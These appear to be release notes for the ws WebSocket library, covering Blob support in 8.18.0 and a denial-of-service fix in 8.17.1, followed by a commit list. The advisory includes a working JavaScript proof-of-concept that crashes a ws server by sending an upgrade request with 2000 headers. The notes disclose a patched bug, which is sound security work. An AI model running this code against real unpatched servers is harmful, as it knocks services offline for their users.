8.18.0

Features

Added support for Blob (#2229).

8.17.1

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits

976c53c [dist] 8.18.0
59b9629 [feature] Add support for Blob (#2229)
0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
15f11a0 [security] Add new DoS vulnerability to SECURITY.md
3c56601 [dist] 8.17.1
e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
6a00029 [test] Increase code coverage
ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
b73b118 [dist] 8.17.0
29694a5 [test] Use the highWaterMark variable
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